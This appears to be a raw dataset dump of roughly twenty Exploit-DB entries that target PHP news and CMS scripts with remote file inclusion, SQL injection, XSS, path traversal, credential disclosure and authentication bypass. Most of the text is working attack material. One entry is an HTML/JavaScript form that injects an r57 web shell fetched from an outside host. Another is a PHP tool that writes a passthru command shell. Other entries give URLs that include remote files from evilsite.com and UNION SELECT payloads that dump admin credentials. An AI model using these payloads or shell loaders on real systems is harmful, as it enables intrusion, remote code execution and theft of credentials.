deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2135
Description: NEWSolved Lite 1.9.2 - 'abs_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: Philipp Niedziela

Exploit:
+--------------------------------------------------------------------
+
+ NEWSolved Lite v1.9.2 (abs_path) Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: NEWSolved Lite v1.9.2 (maybe above)
+ Venedor ...........: http://www.usolved.net
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_286.htm
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+ http://www.bb-pcsecurity.de
+
+--------------------------------------------------------------------
+
+ Affected files:
+
+ newsscript_lyt.php
+ newsticker/newsscript_get.php
+ inc/output/news_theme1.php
+ inc/output/news_theme2.php
+ inc/output/news_theme3.php
+
+--------------------------------------------------------------------
+
+ $abs_path is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+
+ Download Patch v1.9.3 and replace the files above.
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/inc/output/news_theme1.php?abs_path=http://evilsite.com?cmd=ls
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-07]
Exploit-DB #40126
Description: NewsP Free News Script 1.4.7 - User Credentials Disclosure
Type: webapps
Platform: php
Date: 2016-07-19
Author: Meisam Monsef

Exploit:
# Exploit Title: Free News Script User Password Download File
# Date: 2016-07-18
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://www.newsp.eu/index.php?pt=ns
# Version: All Version
# Download Link : http://www.newsp.eu/newsp.zip

Exploit :
http://site/admin/user.txt
Admin|e3afed0047b08059d0fada10f400c1e5|1|1|1|1|

Username = Admin
Password Hash = e3afed0047b08059d0fada10f400c1e5 [MD5]
Exploit-DB #40127
Description: newsp.eu PHP Calendar Script 1.0 - User Credentials Disclosure
Type: webapps
Platform: php
Date: 2016-07-19
Author: Meisam Monsef

Exploit:
# Exploit Title: PHP calendar script Password Download File
# Date: 2016-07-18
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://www.newsp.eu/calendarscript.php?pt=st
# Version: All Version
# Download Link : http://www.newsp.eu/calendar.zip

Exploit :
http://site/user.txt
Admin|fe01ce2a7fbac8fafaed7c982a04e229
Password Hash = fe01ce2a7fbac8fafaed7c982a04e229 (demo)[MD5]

Test :
Exploit : http://www.newsp.eu/demo/user.txt
Login Url : http://www.newsp.eu/demo/login.php
Password : demo
Exploit-DB #43078
Description: Newspaper 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Newspaper Magazine & Blog CMS 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://geniusocean.com/
# Software Link: https://codecanyon.net/item/mymagazine-fully-responsive-magazine-cms/19493325
# Demo: http://demo.geniusocean.com/newspaper/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15981
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/admin_process.php?act=editpollform&id=[SQL]
# 
# -2'++/*!00022UNION*/+/*!00022SELECT*/+0x31,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x33,0x34,0x35,VerSiOn(),dAtAbAsE(),0x38,0x39,0x3130,0x3131,0x3132--+-
# 
# http://localhost/[PATH]/admin/admin_process.php?act=cateditform&id=[SQL]
# 
# -2'++/*!00022UNION*/+/*!00022SELECT*/+0x31,/*!00022cOnCat*/(username,0x3a,password),0x33,0x34,0x35+/*!00022from*/+admin--+-
# 
# Etc..
# # # # #
Exploit-DB #27116
Description: NewsPHP - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-01-23
Author: SAUDI

Exploit:
source: https://www.securityfocus.com/bid/16339/info

NewsPHP is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?discuss=SQL

http://www.example.com/index.php?tim=SQL

http://www.example.com/index.php?id=SQL

http://www.example.com/index.php?words=%20&where=1&limit=40&last=SQL

http://www.example.com/index.php?words=%20&where=1&limit=SQL

http://www.example.com/index.php?words=&where=1&submitted=true&address=E-mail+Address&action=add&rate=5&id=(SQL)&article_rate=Rate

http://www.example.com/ndex.php?id=-99 union select null,null,null,null,null,null,null,null,null from newsphp.pro/*

http://www.example.com/index.php?tim=-1 union select null,null,null,null,null,null,null,null,null from newsphp.pro/*
Exploit-DB #28134
Description: newsPHP 2006 PRO - '/inc/rss_feed.php?category' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-29
Author: securityconnection

Exploit:
source: https://www.securityfocus.com/bid/18726/info
  
NewsPHP 2006 PRO is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/inc/rss_feed.php?category=&#039;[SQL]&amount=10
Exploit-DB #28132
Description: newsPHP 2006 PRO - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-29
Author: securityconnection

Exploit:
source: https://www.securityfocus.com/bid/18726/info

NewsPHP 2006 PRO is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/?words=%3Cscript%3Ealert(/Ellipsis%20Security%20Test/)%3C/script%3E&where=1
http://www.example.com/index.php?id=%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E
http://www.example.com/index.php?cat_id=&#039;%3E%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E
http://www.example.com/index.php?cat_id=Business&tim=%22%3E%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E
http://www.example.com/index.php?tim=%22%3E%3Cscript%3Ealert(&#039;Ellipsis%20Security%20Test&#039;)%3C/script%3E
http://www.example.com/index.php?id=%3Cimg%20src=javascript:alert(%22EllipsisSecuritTest%22)%3E
Exploit-DB #28133
Description: newsPHP 2006 PRO - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-06-29
Author: securityconnection

Exploit:
source: https://www.securityfocus.com/bid/18726/info
 
NewsPHP 2006 PRO is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/?words=&#039;[SQL]
http://www.example.com/?words=%27[SQL]&where=1
http://www.example.com/index.php?id=&#039;[SQL]
http://www.example.com/index.php?topmenuitem=&#039;[SQL]
http://www.example.com/index.php?cat_id=&#039;[SQL]
http://www.example.com/index.php?words=&#039;[SQL]&where=1
Exploit-DB #23058
Description: newsPHP 216 - Authentication Bypass
Type: webapps
Platform: php
Date: 2003-08-25
Author: Officerrr

Exploit:
source: https://www.securityfocus.com/bid/8489/info

A vulnerability is reported to exist in newPHP that may allow an attacker to gain access to a vulnerable host due to improper verification of authentication credentials.

This issue may be exploited to gain access to sensitive data or perform other unauthorized actions. 

http://[host]/nphp/?[action here, example: output]&
pword=a&
uname=[fake usernamehere]&
nphp_users[user index here][0]=a&
nphp_users[user index here][1]=0cc175b9c0f1b6a831c399e269772661&
nphp_users[user index here][3]=5
Exploit-DB #23057
Description: newsPHP 216 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-08-25
Author: Officerrr

Exploit:
source: https://www.securityfocus.com/bid/8488/info

A file include vulnerability has been reported in the nphpd.php module of newsPHP that may permit an attacker to include and execute malicious script code on a vulnerable host.

The issue is reported to exist in the LangFile variable of nphpd.php module of the software. Successful exploitation may lead to execution of arbitrary code on a vulnerable system by a remote attacker. 

http://www.example.com/nphp/nphpd.php?nphp_config[LangFile]=/evil/file
Exploit-DB #35481
Description: Newsportal 0.37 - 'post.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-21
Author: kurdish hackers team

Exploit:
source: https://www.securityfocus.com/bid/46961/info

NewsPortal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

NewsPortal 0.37 is vulnerable; other versions may also be affected. 

http://www.example.com/post.php?newsgroups=<script>alert(28)</script>
Exploit-DB #2101
Description: newsReporter 1.1 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-01
Author: Kurdish Security

Exploit:
>>> Kurdish Security

>>> newsReporter v1.1 Remote Command Execution

>>> Freedom For Ocalan

>>> Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com

>>> Rish : High

>>> Class : Remote

>>> Script : newsReporter

>>> Site : http://www.knusperleicht.at

Code :

// removed the old code because it was not correct. /str0ke

//  INCLUDE PATH
@define(NEWS_INCLUDE_PATH, $news_include_path);
//  INCLUDE PATH

//Dateien importieren
include NEWS_INCLUDE_PATH."inc/config.inc.php";

Vulnerability :
http://www.site.com/[scriptpath]/index.php?news_include_path=[script]

# milw0rm.com [2006-08-01]
Exploit-DB #2365
Description: Newsscript 0.5 - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-13
Author: Daftrix Security

Exploit:
#  Product : Newsscript

#  Homepage : http://www.webmaster-journal.com

#  Version : 0.5

#  Date : 12-09-2006

#  Vulnerability : Remote & local File Inclusion

#  Risk : High

---------------------------------------------------------------------------------------------------------


#  Description :

Newsscript is a PHP script to manage news items on website without Database.


#  Vulnerable Code :

The first issue is due to an input validation error in the "print/print.php" script that does not validate the "ide" parameter, which could be exploited by remote attackers to include local files with the privileges of the web server.

1    <html>
2    <head>
3    <?
4 $file_name = "../".$ide.".txt";
5    ?>


27    include($file_name);


The second flaw is due to an input validation error in the "article.php" script that does not validate the "ide" parameter, which could be exploited by attackers to include remote or local files and execute arbitrary commands with privileges of the web server.

1 <?
2 include($ide.".txt");
3 ?>


#  Exploit :

http://localhost/newscript/print/print.php?ide=../../../../etc/passwd%00

http://localhost/newscript/article.php?ide=http://site.com/script.txt ?


#  Solution :

Update to a newer version


#  Discovered By:

Daftrix[at]Gmail.com
Daftrix Security Investigations
http://www.Daftrix.com

# milw0rm.com [2006-09-13]
Exploit-DB #22663
Description: Newsscript 1.0 - Administrative Privilege Escalation
Type: webapps
Platform: php
Date: 2003-05-27
Author: Peter Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/7705/info

A vulnerability has been reported that could enable a member of the news system to create and access an administrative account. This is due to insufficient validation of data supplied to account editing input fields of Newsscript.

Peter<~>2
Exploit-DB #4041
Description: NewsSync for phpBB 1.5.0rc6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-07
Author: GoLd_M

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>newsSync 1.5.0rc6 (nuke_include.php) Remote File Inclusion 
Exploit</title>

<script language="JavaScript">

//'===============================================================================================
//'[Script Name: newsSync 1.5.0rc6
//'[Author     : GoLd_M = Mahmood_ali
//'[S.Page     : http://www.coolerclimate.com/downloads/newssync_1.5.0rc6.tar
//'===============================================================================================

//'[[V.Code]]------------------------------------------------------
//'
//'<?php
//'
//'if ($newsSync_enable_phpnuke_mod) {
//'	ini_set("include_path",ini_get("include_path").":$newsSync_NUKE_PATH");
//'	require_once("$newsSync_NUKE_PATH/mainfile.php");
//'
//'[[V.Code]]---------------------------------------------------------

//#
//# Ex:
//# /inc/nuke_include.php?newsSync_enable_phpnuke_mod=1&newsSync_NUKE_PATH=http://localhost/trayg.txt?
//# Video:
//# http://norcalvex.org/v1d30/newsSync-video.rar
//# Sp.TanX : Tryag.Com/cc
//#



   var path="/inc/"
   var adres="nuke_include.php" //File name
   var acik ="?newsSync_enable_phpnuke_mod=1&newsSync_NUKE_PATH=" // Line 3 & 5
   var shell="http://dr3.150m.com/r57.txt?" // R57Shell

   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }



  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Arial" size="2" color="#FFFFFF">newsSync 1.5.0rc6 
(nuke_include.php) Remote File Inclusion Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Tahoma" size="1" color="#FF0000">Target:</font><font face="Tahoma" size="1" color="#FFFF00">[http://[vicim]/[path]</font><font color="#00FF00" size="2" face="Tahoma">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Lucida Handwriting" size="5" color="#FF0000">Mahmood_ali</font></b><p>
<b><a href="http://tryag.com/cc">
<font face="Lucida Handwriting" size="5" color="#FFFFFF">TrYaG-Team</font></a></b></p>
</p>
</center>
</body>

</html>

# milw0rm.com [2007-06-07]
Exploit-DB #2443
Description: Newswriter SW 1.4.2 - 'main.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-27
Author: Mehmet Ince

Exploit:
<?php
/* XORON - TURKISH HACKER

Thanx: str0ke, Ironfist, Preddy,

*/

$cmd = $_POST["cmd"];
$glowna = $_POST["glowna"];
$shell = $_POST["shell"];
$exp= "<title>Newswriter SW v1.4.2 Remote File Include Exploit :: XORON :: 
TURKISH HACKER ::</title>"
."<style type=\"text/css\">"
."body {background-color: #006600;}"
."body,td,th {color: #FFFFFF;}"
."</style><form method=\"post\" action=\"".$glowna.$shell."?cmd=".$cmd."\">"
."<div align=\"center\"><img src=\"http://xoron.biz/teamvh4.png\"></div>"
."<p align=\"center\">script url: (ex. 
http://www.site.com/[script_path]/include/main.inc.php?NWCONF_SYSTEM[server_path]=)<br>"
."<input type=\"text\" name=\"glowna\" size=\"90\"".$glowna."\">"
."<br>"
."shell url: (ex. http://www.site.com/[path]/shell.txt?) shell.txt (CHMOD 
777)<br>"
."<input type=\"text\" name=\"shell\" size=\"90\"".$shell."\">"
."<br>"
."cmd: (ex. ls -la)<br>"
."<input name=\"cmd\" type=\"text\" size=\"90\"".$cmd."\">"
."<br>"
."<input type=\"submit\" value=\"Exploit\" name=\"submit\">"
."</p>"
."<p align=\"center\">Find by: <a 
href=\"mailto:x0r0n@hotmail.com\">XORON</a>"
."<br>"
."<p align=\"center\"> <a 
href=\"http://www.xoron.biz/\">http://www.xoron.biz/</a></p>"
."<p align=\"center\" class=\"name\">&nbsp;</p>"
."<HR WIDTH=\"650\" ALIGN=\"center\">"
."<p align=\"center\"> Special Greetz: Str0ke, Ironfist, Preddy, rgod  
;-)<br>"
."<br>"
."<p align=\"center\">&nbsp;</p>"
."</form>";

if (!isset($_POST['submit']))
{
echo $exp;
}else{
$file = fopen ("shell.txt", "w+");
fwrite($file, '<?php 
ob_clean();echo"xoron-turkish-hacker";ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>');
fclose($file);
$file = fopen ($shell, "r");
if (!$file) {
    echo "<p>Don't Find shell :( Insert in FTP shell.txt.\n";
    exit;
}
echo $exp;
while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
}
?>

# milw0rm.com [2006-09-27]
Exploit-DB #2439
Description: Newswriter SW 1.42 - 'editfunc.inc.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-09-27
Author: Silahsiz Kuvvetler

Exploit:
#==============================================================================================
#Newswriter SW <= 1.42 (NWCONF_SYSTEM[server_path]) Remote File Inclusion Vulnerability
#===============================================================================================
#
#Critical Level : Dangerous
#
#Script Dowload : http://www.baumedia.net/typo3conf/ext/nf_downloads/pi1/passdownload.php?downloaddata=3
#
#Version : 1.42
#
#================================================================================================
#
#Bug in :
#
#include/editfunc.inc.php
#================================================================================================
#
#Vulnerable Code :
#
#
#         include($NWCONF_SYSTEM['server_path'].'include/javascript.inc'.$NWCONF_SYSTEM['php_ext']);
#         require($NWCONF_SYSTEM['server_path'].'include/text-out.inc'.$NWCONF_SYSTEM['php_ext']);
#         require($NWCONF_SYSTEM['server_path'].'include/images.inc'.$NWCONF_SYSTEM['php_ext']);
#         require($NWCONF_SYSTEM['server_path'].'include/filefunc.inc'.$NWCONF_SYSTEM['php_ext']);
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Newswriter_SW_DIR]/include/editfunc.inc.php?NWCONF_SYSTEM[server_path]=http://evilsite.com/evilscript.txt?
#
#
#================================================================================================
#Discoverd By : Silahsiz Kuvvetler
#
#
#Conatact : co-type[at]hotmail[dot]com
#
#GreetZ : FaTTaLGazI- Narcotic - 0xyGen
#
#Special Thanqs : www.fatalerror.us
#==================================================================================================

# milw0rm.com [2006-09-27]
Exploit-DB #24424
Description: Newtelligence DasBlog 1.x - Request Log HTML Injection
Type: webapps
Platform: php
Date: 2004-09-01
Author: Dominick Baier

Exploit:
source: https://www.securityfocus.com/bid/11086/info

DasBlog is reportedly susceptible to an HTML injection vulnerability in its request log. This vulnerability is due to a failure of the application to properly sanitize user-supplied input data before using it in the generation of dynamic web pages.

This may allow an attacker to inject malicious HTML and script code into the application. An administrator displaying the 'Activity and Events Viewer' will have the attacker-supplied script code executed within their browser in the context of the vulnerable site. This issue may be leverage to steal cookie based authentication credentials. Other attacks are also possible.

Although this issue reportedly affects versions 1.3 through 1.6 of the affected software. 

GET / HTTP/1.1
User-Agent: <script>alert('xss')</script>
Host: www.example.com
Accept: */*
Exploit-DB #2970
Description: Newxooper-PHP 0.9.1 - 'mapage.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-21
Author: 3l3ctric-Cracker

Exploit:
###########################################################################################
#Newxooper-php v0.9.1(chemin) Remote File Include Vulnerabilty #
#Download:http://www.easy-script.com/newxoope-091.zip #
###########################################################################################
#Author:Dr Max Virus #
#Location:Egypt #
###########################################################################################
#Bug in compteur/mapage.php #
#In Line:37 #
#Vul Code: #
#REQUIRE ("$chemin/compteur/mapage.txt"); #
###########################################################################################
#POC: #
#http://[target]/[path]/compteur/mapage.php?chemin=Evil Code #
###########################################################################################
#Thx:str0ke & ajann &All friends #
#Special Gr33ts:AsianEagle & The master & Kacper & Hotturk #
###########################################################################################

# milw0rm.com [2006-12-21]